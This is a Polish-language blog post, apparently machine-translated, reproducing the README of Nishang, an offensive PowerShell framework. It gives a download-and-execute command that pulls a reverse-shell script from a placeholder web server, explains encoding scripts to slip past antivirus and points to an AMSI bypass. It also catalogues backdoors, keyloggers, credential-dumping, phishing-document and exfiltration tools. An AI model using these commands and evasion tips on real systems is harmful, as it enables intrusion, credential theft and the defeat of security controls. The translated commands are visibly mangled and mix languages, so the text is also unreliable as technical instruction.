Nishang : Offensive PowerShell For Red Team, Penetration Testing & Offensive Security

author
7 minutes, 2 seconds Read

Nishang to framework i zbiór skryptów i ładunków, które umożliwiają korzystanie z PowerShell do ofensywnych zabezpieczeń, testów penetracyjnych i Red teamingu. Nishang jest przydatny we wszystkich fazach testów penetracyjnych.

użycie

Importuj wszystkie skrypty w bieżącej sesji PowerShell (począwszy od PowerShell v3).

PS C:\nishang > Import-Module .nishang.psm1

użyj poszczególnych skryptów z dot sourcing.

PS C:\nishang> C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information

aby uzyskać pomoc dotyczącą dowolnego skryptu lub funkcji, Użyj:

PS C:\nishang> Get-Help-full

zauważ, że pomoc jest dostępna dla funkcji załadowanej po uruchomieniu skryptu, a nie dla samego skryptu od wersji 0.3.8. We wszystkich przypadkach nazwa funkcji jest taka sama jak nazwa skryptu.

na przykład, aby zobaczyć pomoc dotyczącą Get-WLAN-Keys.ps1, użyj

PS C:\nishang> C:\Nishang\Get-WLAN-Keys. ps1
PS C:\nishang> Get-Help Get-WLAN-Keys-Full

antywirus

Skrypty Nishang są oznaczone przez wiele antywirusów jako złośliwe. Skrypty na celu mają być używane w pamięci, co jest bardzo łatwe do zrobienia z PowerShell. Dwie podstawowe metody wykonywania skryptów PowerShell w pamięci:

Metoda 1. Użyj w pamięci dowload i wykonaj: użyj poniższego polecenia, aby wykonać skrypt PowerShell ze zdalnej powłoki, natywnej powłoki meterpreter, powłoki internetowej itp. i funkcja eksportowana przez niego. Wszystkie skrypty w Nishang eksportują funkcję o tej samej nazwie w bieżącej sesji PowerShell.

PowerShell iex (New-Object Net. WebClient). DownloadString (’http: / / <yourwebserver> / Invoke-PowerShellTcp.ps1′); Invoke-PowerShellTcp-Reverse-IPAddress-Port

Metoda 2. Użyj -encodedcommand (lub -e) parametru PowerShell wszystkie skrypty w Nishang eksportują funkcję o tej samej nazwie w bieżącej sesji PowerShell. Dlatego upewnij się, że wywołanie funkcji zostało wykonane w samym skrypcie podczas używania parametru encodedcommand z powłoki innej niż PowerShell. W powyższym przykładzie dodaj wywołanie funkcji (bez cudzysłowów) "Invoke-PowerShellTcp -Reverse -IPAddress -Port ".

Zakoduj script używając Invoke-Encode z Nishang:

PS C:\nishang> \Nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode-DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

  • zakodowane dane zapisane do .\ zakodowane .txt
  • zakodowane polecenie napisane do .\ encodedcommand .txt

z góry użyj zakodowanego skryptu z encodedcommand.txt i uruchom go na obiekcie docelowym, w którym można wykonać polecenia (zdalna powłoka, natywna powłoka meterpretera, powłoka sieciowa itp.). Użyj go jak poniżej:

C:\Users\target > powershell-e

jeśli skrypty nadal zostaną wykryte, pomoże zmiana nazw funkcji i parametrów oraz usunięcie zawartości pomocy.

w przypadku, gdy Windows 10 AMSI nadal blokuje wykonywanie skryptów, zobacz ten blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Czytaj także-Clipboardme: Grab & Inject zawartość Schowka przez Link

Skrypty

Nishang obecnie zawiera następujące skrypty i ładunki.

Active Directory

  • Ustaw-DCShadowPermissions
    • zmodyfikuj obiekty AD, aby zapewnić minimalne uprawnienia wymagane dla DCShadow.

Antak-Webshell

  • Antak
    • wykonuj skrypty PowerShell w pamięci, uruchamiaj polecenia oraz pobieraj i przesyłaj pliki za pomocą tej webshell.

backdoory

  • HTTP-Backdoor
    • backdoor, który może odbierać instrukcje ze stron internetowych stron trzecich i wykonywać skrypty PowerShell w pamięci.
  • DNS_TXT_Pwnage
    • backdoor, który może odbierać polecenia i skrypty PowerShell z zapytań DNS TXT, wykonywać je na obiekcie docelowym i być zdalnie sterowany za pomocą zapytań.
  • Execute-OnTime
    • backdoor, który może wykonywać skrypty PowerShell w określonym czasie na obiekcie docelowym.
  • Gupt-Backdoor
    • backdoor, który może odbierać polecenia i skrypty z SSID WLAN bez łączenia się z nim.
  • Add-ScrnSaveBackdoor
    • backdoor, który może używać wygaszacza ekranu Windows do zdalnego wykonywania poleceń i skryptów.
  • Invoke-ADSBackdoor
    • backdoor, który może używać alternatywnych strumieni danych i rejestru systemu Windows, aby osiągnąć trwałość.
  • Add-RegBackdoor
    • backdoor, który wykorzystuje dobrze znaną sztuczkę debuggera do wykonywania ładunku za pomocą lepkich klawiszy i Utilmana (klawisz Windows + U).
  • Set-RemoteWMI
    • Modyfikuj uprawnienia przestrzeni nazw DCOM i WMI, aby umożliwić dostęp Użytkownikowi nie-administratorowi.
  • Ustaw-RemotePSRemoting
    • zmodyfikuj uprawnienia remotowania PowerShell, aby umożliwić dostęp Użytkownikowi nie-administratorowi.

Bypass

  • Invoke-AmsiBypass
    • implementacja publicznie znanych metod, aby ominąć/uniknąć AMSI.

Klient

  • Out-CHM
    • Tworzenie zainfekowanych plików CHM, które mogą wykonywać polecenia i skrypty PowerShell.
  • Out-Word
    • Utwórz pliki Word i zainfekuj istniejące, aby uruchomić polecenia i skrypty PowerShell.
  • Out-Excel
    • twórz pliki Excel i infekuj istniejące, aby uruchamiać polecenia i skrypty PowerShell.
  • Out-HTA
    • Utwórz plik HTA, który można wdrożyć na serwerze WWW i wykorzystać w kampaniach phishingowych.
  • Out-Java
    • tworzy podpisane pliki JAR, które mogą być używane z apletami do wykonywania skryptów i poleceń.
  • Out-Skrót
    • twórz pliki skrótów zdolne do wykonywania poleceń i skryptów PowerShell.
  • Out-WebQuery
    • tworzy pliki IQY dla poświadczeń phishingowych i skrótów SMB.
  • Out-js
    • tworzy pliki JS zdolne do wykonywania poleceń i skryptów PowerShell.
  • Out-SCT
    • twórz pliki SCT zdolne do wykonywania poleceń i skryptów PowerShell.
  • Out-SCF
    • Utwórz plik SCF, który może być użyty do przechwytywania wyzwań skrótu NTLM.

Escalation

  • Enable-DuplicateToken
    • gdy wymagane są uprawnienia systemowe.
  • Remove-Update
    • wprowadzenie luk w zabezpieczeniach poprzez usunięcie łat.
  • Invoke-PsUACme
    • omija UAC.

wykonanie

  • Pobierz-wykonaj-PS
    • Pobierz i wykonaj skrypt PowerShell w pamięci.
  • Download_Execute
    • Pobierz plik wykonywalny w formacie tekstowym, przekonwertuj go na plik wykonywalny i wykonaj.
  • Execute-Command-MSSQL
    • Uruchom polecenia PowerShell, polecenia natywne lub polecenia SQL na serwerze MSSQL z wystarczającymi uprawnieniami.
  • Execute-DNSTXT-Code
    • wykonuj shellcode w pamięci za pomocą zapytań DNS TXT.
  • Out-RundllCommand
    • wykonuj polecenia i skrypty PowerShell lub odwrotną sesję PowerShell za pomocą rundll32.exe.

Gather

  • Check-VM
    • Check for a virtual machine.
  • Copy-VSS
    • skopiuj plik SAM za pomocą usługi kopiowania woluminów w cieniu.
  • Invoke-CredentialsPhish
    • oszukuje użytkownika do podania poświadczeń w postaci zwykłego tekstu.
  • FireBuster FireListener
    • para skryptów do testowania wyjścia
  • Pobierz-informacje
    • Pobierz soczyste informacje z celu.
  • Get-LSASecret
    • Get LSA Secret from a target.
  • Get-PassHashes
    • Get hashes password from a target.
  • Get-WLAN-Keys
    • Get-WLAN Keys in plain text from a target.
  • Keylogger
    • rejestruje naciśnięcia klawiszy Z celu.
  • Invoke-MimikatzWdigestDowngrade
    • zrzut haseł użytkowników w systemie Windows 8.1 i serwerze 2012
  • Get-PassHints
    • Uzyskaj wskazówki dotyczące haseł użytkowników systemu Windows z obiektu docelowego.
  • Show-TargetScreen
    • Połącz z powrotem i strumieniuj ekran docelowy za pomocą MJPEG.
  • wywołanie-Mimikatz
    • załaduj mimikatz do pamięci. Zaktualizowane i z pewnym dostosowaniem.
  • Invoke-Mimikittenz
    • wyciągnij soczyste informacje z pamięci docelowego procesu (np. przeglądarki) za pomocą wyrażenia regularnego.
  • wywołaj-SSIDExfil
    • Exfiltruj informacje, takie jak poświadczenia użytkownika, używając WLAN SSID.
  • Invoke-SessionGopher
    • identyfikuje skokowe pola administracyjne i / lub komputery używane do uzyskiwania dostępu do maszyn uniksowych.

MITM

  • wywołuje-Interceptor
    • lokalny serwer proxy HTTPS do ataków MITM.

Pivot

  • Create-MultipleSessions
    • Sprawdź poświadczenia na wielu komputerach i utwórz PSSessions.
  • Uruchom-EXEonRemote
    • Kopiuj i wykonuj plik wykonywalny na wielu komputerach.
  • Invoke-NetworkRelay
    • Utwórz przekaźniki sieciowe między komputerami.

Prasadhak

  • Prasadhak
    • Sprawdź działające skróty uruchomionego procesu w bazie danych VirusTotal.

skanowanie

  • Brute-Force
    • brute force FTP, Active Directory, MSSQL i Sharepoint.
  • Port-Scan
    • przydatny skaner portów.

Powerpreter

  • Powerpreter
    • cała funkcjonalność nishang w jednym module skryptu.

powłoki

  • Invoke-PsGcat
    • wysyłanie poleceń i skryptów na określone konto Gmail, które mają być wykonywane przez Invoke-PsGcatAgent
  • Invoke-PsGcatAgent
    • wykonuje polecenia i skrypty wysyłane przez Invoke-PsGcat.
  • Invoke-PowerShellTcp
    • interaktywna PowerShell reverse connect lub bind shell
  • Invoke-PowerShellTcpOneLine
    • pozbawiona wersji Invoke-PowerShellTcp. Zawiera również wersję szkieletową, która zmieściłaby się w dwóch tweetach.
  • Invoke-PowerShellTcpOneLineBind
    • bindowanie wersji Invoke-PowerShellTcpOneLine.
  • Invoke-PowerShellUdp
    • interaktywna PowerShell reverse connect lub bind shell przez UDP
  • Invoke-PowerShellUdpOneLine
    • rozebrana wersja Invoke-PowerShellUdp.
  • Invoke-PoshRatHttps
    • Odwróć interaktywny PowerShell przez HTTPS.
  • Invoke-PoshRatHttp
    • Odwróć interaktywny PowerShell przez HTTP.
  • Usuń-PoshRat
    • Wyczyść system po użyciu Invoke-PoshRatHttps
  • wywołanie-PowerShellWmi
    • interaktywny PowerShell przy użyciu WMI.
  • Invoke-PowerShellIcmp
    • interaktywna PowerShell reverse shell over ICMP.
  • Invoke-JSRatRundll
    • interaktywna PowerShell odwrócona powłoka przez HTTP przy użyciu rundll32.exe.
  • Invoke-JSRatRegsvr
    • interaktywna PowerShell odwrotnej powłoki przez HTTP za pomocą regsvr32.exe.

narzędzie

  • Add-Exfiltration
    • Dodaj możliwość exfiltracji danych do Gmaila, Pastebina, serwera WWW i DNS do dowolnego skryptu.
  • Add-Persistence
    • Add Reboot persistence ability to a script.
  • Remove-Persistence
    • Remote persistence dodane przez skrypt Add-Persistence.
  • Do-Exfiltration
    • Pipe (|) this to any script to exfiltrate the output.
  • Pobierz
    • Przenieś plik do celu.
  • Parse_Keys
    • Parse keys loggered by the keylogger.
  • Invoke-Encode
    • koduje i kompresuje skrypt lub ciąg znaków.
  • Invoke-Decode
    • dekoduje i dekompresuje skrypt lub ciąg znaków z Invoke-Encode.
  • Start-CaptureServer
    • uruchom serwer WWW, który rejestruje podstawowe uwierzytelnianie i skróty SMB.
  • ConvertTo-ROT13
    • koduje ciąg do ROT13 lub dekoduje ciąg ROT13.
  • Out-DnsTxt
    • generuje rekordy DNS TXT, które mogą być używane z innymi skryptami.

Similar Posts

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.